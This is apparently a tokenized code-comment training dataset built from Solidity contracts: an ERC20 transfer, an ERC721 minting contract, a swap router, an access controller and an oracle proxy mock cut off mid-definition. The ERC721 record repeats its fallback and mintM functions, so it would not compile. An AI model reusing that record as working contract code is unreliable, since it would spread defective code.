[ 1, 565, 1758, 1071, 389, 6848, 8924, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x25127685dC35d4dc96C7fEAC7370749d004C5040/sources/unibot_token.sol
* @dev Moves `amount` of tokens from `sender` to `recipient`. This internal function is equivalent to { transfer} , and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a { Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./
function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); }
17,004,639
[ 1, 19297, 1375, 8949, 68, 434, 2430, 628, 1375, 15330, 68, 358, 1375, 20367, 8338, 1220, 2713, 445, 353, 7680, 358, 288, 7412, 97, 269, 471, 848, 506, 1399, 358, 425, 18, 75, 18, 2348, 5859, 1147, 1656, 281, 16, 9026, 310, 1791, 28757, 16, 5527, 18, 7377, 1282, 279, 288, 12279, 97, 871, 18, 29076, 30, 300, 1375, 15330, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 20367, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 15330, 68, 1297, 1240, 279, 11013, 434, 622, 4520, 1375, 8949, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 203, 4202, 1758, 5793, 16, 203, 4202, 1758, 8027, 16, 203, 4202, 2254, 5034, 3844, 203, 565, 262, 2713, 5024, 288, 7010, 4202, 2583, 12, 15330, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 628, 326, 3634, 1758, 8863, 203, 4202, 2583, 12, 20367, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 203, 4202, 389, 5771, 1345, 5912, 12, 15330, 16, 8027, 16, 3844, 1769, 203, 203, 4202, 2254, 5034, 5793, 13937, 273, 389, 70, 26488, 63, 15330, 15533, 203, 4202, 2583, 12, 15330, 13937, 1545, 3844, 16, 315, 654, 39, 3462, 30, 7412, 3844, 14399, 11013, 8863, 203, 4202, 22893, 288, 7010, 1850, 389, 70, 26488, 63, 15330, 65, 273, 5793, 13937, 300, 3844, 31, 203, 4202, 289, 7010, 4202, 389, 70, 26488, 63, 20367, 65, 1011, 3844, 31, 203, 203, 4202, 3626, 12279, 12, 15330, 16, 8027, 16, 3844, 1769, 203, 203, 4202, 389, 5205, 1345, 5912, 12, 15330, 16, 8027, 16, 3844, 1769, 203, 565, 289, 7010, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x08f78f413225878Dd46B08820fFdBE815C240328/sources/Token.sol
* @title Full ERC721 Token This implementation includes all the required and some optional functionality of the ERC721 standard Moreover, it includes approve all functionality using operator terminology/
contract Token is ERC721Enumerable, ERC721Metadata { string public urt; address payable public Own3r; uint256 public Tcost; uint256 public tokencap; address payable public MintyAddress; constructor( string memory name, string memory symbol, string memory url, uint256 Tokencost, uint256 tcap, address payable owner, address payable depaddrs ) public ERC721Metadata(name, symbol) { Tcost = Tokencost; urt = url; Own3r = owner; _mint(owner, 0); _tokenURIs = url; tokencap = tcap; MintyAddress = depaddrs; } event CapRaised(uint256 indexed NewCap); function changeCost(uint256 newcost) public { require(msg.sender == Own3r); Tcost = newcost; } function RaiseCap(uint256 newtokens) public { require(msg.sender == Own3r); tokencap += newtokens; } function changeOwner(address payable newown) public { require(msg.sender == Own3r); Own3r = newown; } function withdrawETH() external { Own3r.transfer((address(this).balance / 100) * 99); MintyAddress.transfer(address(this).balance / 100); } function newDep(address payable newdep) public { require(msg.sender == MintyAddress); MintyAddress = newdep; } uint256 cost; function() external payable { if (tokencap > 0) { require(tokencap > totalSupply()); } require(msg.value >= Tcost); cost = msg.value - Tcost; _mint(msg.sender, totalSupply() + 1); msg.sender.transfer(cost); } function() external payable { if (tokencap > 0) { require(tokencap > totalSupply()); } require(msg.value >= Tcost); cost = msg.value - Tcost; _mint(msg.sender, totalSupply() + 1); msg.sender.transfer(cost); } function mintM(uint256 tokens, address[] memory to) public payable { cost = msg.value - Tcost * tokens; if (tokencap > 0) { require(tokencap + tokens >= totalSupply()); } require(msg.value >= Tcost * tokens); require(tokens == to.length); for (uint256 i = 0; i < tokens; i++) { _mint(to[i], totalSupply() + 1); } msg.sender.transfer(cost); } function mintM(uint256 tokens, address[] memory to) public payable { cost = msg.value - Tcost * tokens; if (tokencap > 0) { require(tokencap + tokens >= totalSupply()); } require(msg.value >= Tcost * tokens); require(tokens == to.length); for (uint256 i = 0; i < tokens; i++) { _mint(to[i], totalSupply() + 1); } msg.sender.transfer(cost); } function mintM(uint256 tokens, address[] memory to) public payable { cost = msg.value - Tcost * tokens; if (tokencap > 0) { require(tokencap + tokens >= totalSupply()); } require(msg.value >= Tcost * tokens); require(tokens == to.length); for (uint256 i = 0; i < tokens; i++) { _mint(to[i], totalSupply() + 1); } msg.sender.transfer(cost); } }
5,268,856
[ 1, 5080, 4232, 39, 27, 5340, 3155, 1220, 4471, 6104, 777, 326, 1931, 471, 2690, 3129, 14176, 434, 326, 4232, 39, 27, 5340, 4529, 16053, 1643, 16, 518, 6104, 6617, 537, 777, 14176, 1450, 3726, 16122, 4676, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3155, 353, 4232, 39, 27, 5340, 3572, 25121, 16, 4232, 39, 27, 5340, 2277, 288, 203, 565, 533, 1071, 8896, 88, 31, 203, 565, 1758, 8843, 429, 1071, 14223, 82, 23, 86, 31, 203, 565, 2254, 5034, 1071, 399, 12398, 31, 203, 565, 2254, 5034, 1071, 1147, 5909, 31, 203, 565, 1758, 8843, 429, 1071, 490, 474, 93, 1887, 31, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 508, 16, 203, 3639, 533, 3778, 3273, 16, 203, 3639, 533, 3778, 880, 16, 203, 3639, 2254, 5034, 3155, 12398, 16, 203, 3639, 2254, 5034, 1715, 438, 16, 203, 3639, 1758, 8843, 429, 3410, 16, 203, 3639, 1758, 8843, 429, 5993, 23305, 203, 565, 262, 1071, 4232, 39, 27, 5340, 2277, 12, 529, 16, 3273, 13, 288, 203, 3639, 399, 12398, 273, 3155, 12398, 31, 203, 3639, 8896, 88, 273, 880, 31, 203, 3639, 14223, 82, 23, 86, 273, 3410, 31, 203, 3639, 389, 81, 474, 12, 8443, 16, 374, 1769, 203, 3639, 389, 2316, 1099, 2520, 273, 880, 31, 203, 3639, 1147, 5909, 273, 1715, 438, 31, 203, 3639, 490, 474, 93, 1887, 273, 5993, 23305, 31, 203, 565, 289, 203, 203, 565, 871, 11200, 12649, 5918, 12, 11890, 5034, 8808, 1166, 4664, 1769, 203, 203, 565, 445, 2549, 8018, 12, 11890, 5034, 394, 12398, 13, 1071, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 14223, 82, 23, 86, 1769, 203, 3639, 399, 12398, 273, 394, 12398, 31, 203, 565, 289, 203, 203, 565, 445, 20539, 4664, 12, 11890, 5034, 394, 7860, 2 ]
./full_match/8453/0x0FA35c6E11541E6ED01f18DB59E6bbdd2f4b8262/sources/periphery/BaldV2Router02.sol
refund dust eth, if any
function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable virtual override ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, "BaldV2Router: INVALID_PATH"); amounts = BaldV2Library.getAmountsIn(factory, amountOut, path); require( amounts[0] <= msg.value, "BaldV2Router: EXCESSIVE_INPUT_AMOUNT" ); assert( IWETH(WETH).transfer( BaldV2Library.pairFor(factory, path[0], path[1]), amounts[0] ) ); _swap(amounts, path, to); if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]); }
11,562,827
[ 1, 1734, 1074, 302, 641, 13750, 16, 309, 1281, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7720, 1584, 44, 1290, 14332, 5157, 12, 203, 3639, 2254, 3844, 1182, 16, 203, 3639, 1758, 8526, 745, 892, 589, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 14096, 203, 565, 262, 203, 3639, 3903, 203, 3639, 8843, 429, 203, 3639, 5024, 203, 3639, 3849, 203, 3639, 3387, 12, 22097, 1369, 13, 203, 3639, 1135, 261, 11890, 8526, 3778, 30980, 13, 203, 565, 288, 203, 3639, 2583, 12, 803, 63, 20, 65, 422, 678, 1584, 44, 16, 315, 38, 287, 72, 58, 22, 8259, 30, 10071, 67, 4211, 8863, 203, 3639, 30980, 273, 605, 287, 72, 58, 22, 9313, 18, 588, 6275, 87, 382, 12, 6848, 16, 3844, 1182, 16, 589, 1769, 203, 3639, 2583, 12, 203, 5411, 30980, 63, 20, 65, 1648, 1234, 18, 1132, 16, 203, 5411, 315, 38, 287, 72, 58, 22, 8259, 30, 5675, 5119, 5354, 67, 15934, 67, 2192, 51, 5321, 6, 203, 3639, 11272, 203, 3639, 1815, 12, 203, 5411, 467, 59, 1584, 44, 12, 59, 1584, 44, 2934, 13866, 12, 203, 7734, 605, 287, 72, 58, 22, 9313, 18, 6017, 1290, 12, 6848, 16, 589, 63, 20, 6487, 589, 63, 21, 65, 3631, 203, 7734, 30980, 63, 20, 65, 203, 5411, 262, 203, 3639, 11272, 203, 3639, 389, 22270, 12, 8949, 87, 16, 589, 16, 358, 1769, 203, 3639, 309, 261, 3576, 18, 1132, 405, 30980, 63, 20, 5717, 203, 5411, 12279, 2276, 18, 4626, 5912, 1584, 44, 12, 3576, 18, 15330, 16, 1234, 18, 1132, 300, 30980, 63, 20, 19226, 203, 565, 289, 2 ]
// SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.6.0; import "../lib/EnumerableSet.sol"; import "./Configuration.sol"; contract AccessController { using EnumerableSet for EnumerableSet.AddressSet; Configuration private _config; EnumerableSet.AddressSet private _gameAddress; EnumerableSet.AddressSet private _lotteryAddress; bool private _paused; event Paused(address account); event Unpaused(address account); event AdminGranted(address indexed contractAddress); event ConfigurationChanged(address indexed origin, address indexed config); constructor(address config) public { _config = Configuration(config); _paused = false; } function changeConfig(address config) public virtual onlyAdmin returns (bool){ emit ConfigurationChanged(address(_config), config); _config = Configuration(config); _initInstanceVariables(); return true; } modifier onlyEOA() { require(msg.sender == tx.origin, "AccessController: only allow EOA access"); _; } modifier onlyAdmin() { require(_config.isAdmin(msg.sender), "AccessController: only allow admin access"); _; } modifier onlyOfferMain(){ require((_config.getContractAddress("offerMain") == msg.sender || _config.getContractAddress("elaOfferMain") == msg.sender || _config.getContractAddress("ethOfferMain") == msg.sender), "AccessController: only allow offerMain access"); _; } modifier onlyBonus(){ require(_config.getContractAddress("bonus") == msg.sender, "AccessController: only allow bonus access"); _; } modifier onlyTokenAuction(){ require(_config.getContractAddress("tokenAuction") == msg.sender, "AccessController: only allow offerMain access"); _; } modifier onlyHTokenMining(){ require(_config.getContractAddress("hTokenMining") == msg.sender, "AccessController: only allow hTokenMining access"); _; } modifier onlyPriceService(){ require(_config.getContractAddress("priceService") == msg.sender, "AccessController: only allow priceService access"); _; } modifier onlyPOIStore(){ require(_config.getContractAddress("POIStore") == msg.sender, "AccessController: only allow POIStore access"); _; } modifier onlyPOIStoreAndOfferMain(){ require(_config.getContractAddress("POIStore") == msg.sender ||_config.getContractAddress("offerMain") == msg.sender || _config.getContractAddress("elaOfferMain") == msg.sender || _config.getContractAddress("ethOfferMain") == msg.sender, "AccessController: only allow POIStore and offerMain access"); _; } modifier onlyPOIStoreAndTokenAuction(){ require(_config.getContractAddress("POIStore") == msg.sender ||_config.getContractAddress("tokenAuction") == msg.sender, "AccessController: only allow POIStore and tokenAuction access"); _; } modifier onlyStakedBonus(){ require(_config.getContractAddress("stakedBonus") == msg.sender, "AccessController: only allow POIStore access"); _; } modifier onlyGame() { require(_config.getContractAddress("game") == msg.sender, "AccessController: only allow game access"); _; } modifier onlyLucky() { require(_gameAddress.contains(msg.sender), "AccessController: only allow lucky access"); _; } modifier onlyElaLottery() { require(_lotteryAddress.contains(msg.sender), "AccessController: only allow elaLottery access"); _; // require(_config.getContractAddress('elaLottery') == msg.sender // || _config.getContractAddress("bcoinLottery") == msg.sender, "AccessController: only allow elaLottery access"); // _; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function getConfiguration() internal view returns (address){ return address(_config); } function getContractAddress(string memory name) public view returns (address){ return _config.getContractAddress(name); } function paused() public view returns (bool) { return _paused; } function addAdmin(address account) public onlyAdmin { _config.addAdmin(account); } function revokeAdmin(address account) public onlyAdmin { _config.revokeAdmin(account); } function setPause(bool isPause) public onlyAdmin{ if(isPause){ _pause(); }else{ _unpause(); } } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(msg.sender); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(msg.sender); } function _initInstanceVariables() internal virtual {} function addGames(address contractAddress) internal virtual { if (_gameAddress.add(contractAddress)) { emit AdminGranted(contractAddress); } } function addLottery(address contractAddress) internal virtual { if (_lotteryAddress.add(contractAddress)) { emit AdminGranted(contractAddress); } } }
require(_config.getContractAddress('elaLottery') == msg.sender || _config.getContractAddress("bcoinLottery") == msg.sender, "AccessController: only allow elaLottery access"); _;
modifier onlyElaLottery() { require(_lotteryAddress.contains(msg.sender), "AccessController: only allow elaLottery access"); _; }
12,872,090
[ 1, 6528, 24899, 1425, 18, 588, 8924, 1887, 2668, 292, 69, 48, 352, 387, 93, 6134, 422, 1234, 18, 15330, 3639, 747, 389, 1425, 18, 588, 8924, 1887, 2932, 70, 12645, 48, 352, 387, 93, 7923, 422, 1234, 18, 15330, 16, 315, 1862, 2933, 30, 1338, 1699, 415, 69, 48, 352, 387, 93, 2006, 8863, 3639, 389, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 4958, 69, 48, 352, 387, 93, 1435, 288, 203, 3639, 2583, 24899, 23372, 387, 93, 1887, 18, 12298, 12, 3576, 18, 15330, 3631, 315, 1862, 2933, 30, 1338, 1699, 415, 69, 48, 352, 387, 93, 2006, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; import "../lib/BN256.sol"; import "../Ownable.sol"; contract UserContractInterface { // Query callback. function __callback__(uint, bytes calldata) external; // Random number callback. function __callback__(uint, uint) external; } contract DOSProxyMock is Ownable { using BN256 for *; // Metadata of pending request. struct PendingRequest { uint requestId; BN256.G2Point handledGroupPubKey; // Calling contract who issues the request. address callbackAddr; } // Metadata of registered group. struct Group { uint groupId; BN256.G2Point groupPubKey; uint birthBlkN; address[] members; } // Metadata of a to-be-registered group whose members are determined already. struct PendingGroup { uint groupId; uint startBlkNum; mapping(bytes32 => uint) pubKeyCounts; // 0x1 (HEAD) -> member1 -> member2 -> ... -> memberN -> 0x1 (HEAD) mapping(address => address) memberList; } uint requestIdSeed; // calling requestId => PendingQuery metadata mapping(uint => PendingRequest) PendingRequests; uint public refreshSystemRandomHardLimit = 60; // in blocks, ~15min uint public groupMaturityPeriod = 80; // in blocks, ~2days // When regrouping, picking @gropToPick working groups, plus one group from pending nodes. uint public groupToPick = 2; uint public groupSize = 3; // decimal 2. uint public groupingThreshold = 110; // Bootstrapping related arguments, in blocks. uint public bootstrapCommitDuration = 10; uint public bootstrapRevealDuration = 10; uint public bootstrapStartThreshold = groupSize * (groupToPick + 1); uint public bootstrapRound = 0; uint private constant UINTMAX = uint(-1); // Dummy head and placeholder used in linkedlists. uint private constant HEAD_I = 0x1; address private constant HEAD_A = address(0x1); // Linkedlist of newly registered ungrouped nodes, with HEAD points to the earliest and pendingNodeTail points to the latest. // Initial state: pendingNodeList[HEAD_A] == HEAD_A && pendingNodeTail == HEAD_A. mapping(address => address) public pendingNodeList; address public pendingNodeTail; uint public numPendingNodes; // node => a linkedlist of working groupIds the node is in: // node => (0x1 -> workingGroupId1 -> workingGroupId2 -> ... -> workingGroupIdm -> 0x1) // Initial state: { nodeAddr : { HEAD_I : HEAD_I } } mapping(address => mapping(uint => uint)) public nodeToGroupIdList; // groupId => Group mapping(uint => Group) private workingGroups; // Index:groupId uint[] public workingGroupIds; uint[] public expiredWorkingGroupIds; // groupId => PendingGroup mapping(uint => PendingGroup) public pendingGroups; uint public pendingGroupMaxLife = 40; // in blocks // Initial state: pendingGroupList[HEAD_I] == HEAD_I && pendingGroupTail == HEAD_I mapping(uint => uint) public pendingGroupList; uint public pendingGroupTail; uint public numPendingGroups = 0; uint public lastUpdatedBlock; uint public lastRandomness; Group lastHandledGroup; enum TrafficType { SystemRandom, UserRandom, UserQuery } event LogUrl( uint queryId, uint timeout, string dataSource, string selector, uint randomness, uint dispatchedGroupId ); event LogRequestUserRandom( uint requestId, uint lastSystemRandomness, uint userSeed, uint dispatchedGroupId ); event LogNonSupportedType(string invalidSelector); event LogNonContractCall(address from); event LogCallbackTriggeredFor(address callbackAddr); event LogRequestFromNonExistentUC(); event LogUpdateRandom(uint lastRandomness, uint dispatchedGroupId); event LogValidationResult( uint8 trafficType, uint trafficId, bytes message, uint[2] signature, uint[4] pubKey, uint8 version, bool pass ); event LogInsufficientPendingNode(uint numPendingNodes); event LogInsufficientWorkingGroup(uint numWorkingGroups, uint numPendingGroups); event LogGrouping(uint groupId, address[] nodeId); event LogPublicKeyAccepted(uint groupId, uint[4] pubKey, uint numWorkingGroups); event LogPublicKeySuggested(uint groupId, uint pubKeyCount); event LogGroupDissolve(uint groupId); event LogRegisteredNewPendingNode(address node); event LogUnRegisteredNewPendingNode(address node,uint unregisterFrom); event LogGroupingInitiated(uint pendingNodePool, uint groupsize, uint groupingthreshold); event LogNoPendingGroup(uint groupId); event LogPendingGroupRemoved(uint groupId); event LogError(string err); event UpdateGroupToPick(uint oldNum, uint newNum); event UpdateGroupSize(uint oldSize, uint newSize); event UpdateGroupingThreshold(uint oldThreshold, uint newThreshold); event UpdateGroupMaturityPeriod(uint oldPeriod, uint newPeriod); event UpdateBootstrapCommitDuration(uint oldDuration, uint newDuration); event UpdateBootstrapRevealDuration(uint oldDuration, uint newDuration); event UpdatebootstrapStartThreshold(uint oldThreshold, uint newThreshold); event UpdatePendingGroupMaxLife(uint oldLifeBlocks, uint newLifeBlocks); event GuardianReward(uint blkNum, address indexed guardian); modifier fromValidStakingNode { _; } constructor() public { pendingNodeList[HEAD_A] = HEAD_A; pendingNodeTail = HEAD_A; pendingGroupList[HEAD_I] = HEAD_I; pendingGroupTail = HEAD_I; } function getLastHandledGroup() public view returns(uint, uint[4] memory, uint, address[] memory) { return ( lastHandledGroup.groupId, getGroupPubKey(lastHandledGroup.groupId), lastHandledGroup.birthBlkN, lastHandledGroup.members ); } function getWorkingGroupById(uint groupId) public view returns(uint, uint[4] memory, uint, address[] memory) { return ( workingGroups[groupId].groupId, getGroupPubKey(groupId), workingGroups[groupId].birthBlkN, workingGroups[groupId].members ); } function workingGroupIdsLength() public view returns(uint256) { return workingGroupIds.length; } function expiredWorkingGroupIdsLength() public view returns(uint256) { return expiredWorkingGroupIds.length; } function setGroupToPick(uint newNum) public onlyOwner { require(newNum != groupToPick && newNum != 0); emit UpdateGroupToPick(groupToPick, newNum); groupToPick = newNum; } // groupSize must be an odd number. function setGroupSize(uint newSize) public onlyOwner { require(newSize != groupSize && newSize % 2 != 0); emit UpdateGroupSize(groupSize, newSize); groupSize = newSize; } function setGroupingThreshold(uint newThreshold) public onlyOwner { require(newThreshold != groupingThreshold && newThreshold >= 100); emit UpdateGroupMaturityPeriod(groupingThreshold, newThreshold); groupingThreshold = newThreshold; } function setGroupMaturityPeriod(uint newPeriod) public onlyOwner { require(newPeriod != groupMaturityPeriod && newPeriod != 0); emit UpdateGroupMaturityPeriod(groupMaturityPeriod, newPeriod); groupMaturityPeriod = newPeriod; } function setBootstrapCommitDuration(uint newCommitDuration) public onlyOwner { require(newCommitDuration != bootstrapCommitDuration && newCommitDuration != 0); emit UpdateBootstrapCommitDuration(bootstrapCommitDuration, newCommitDuration); bootstrapCommitDuration = newCommitDuration; } function setBootstrapRevealDuration(uint newRevealDuration) public onlyOwner { require(newRevealDuration != bootstrapRevealDuration && newRevealDuration != 0); emit UpdateBootstrapRevealDuration(bootstrapRevealDuration, newRevealDuration); bootstrapRevealDuration = newRevealDuration; } function setbootstrapStartThreshold(uint newNum) public onlyOwner { require(newNum != bootstrapStartThreshold && newNum >= groupSize * (groupToPick + 1)); emit 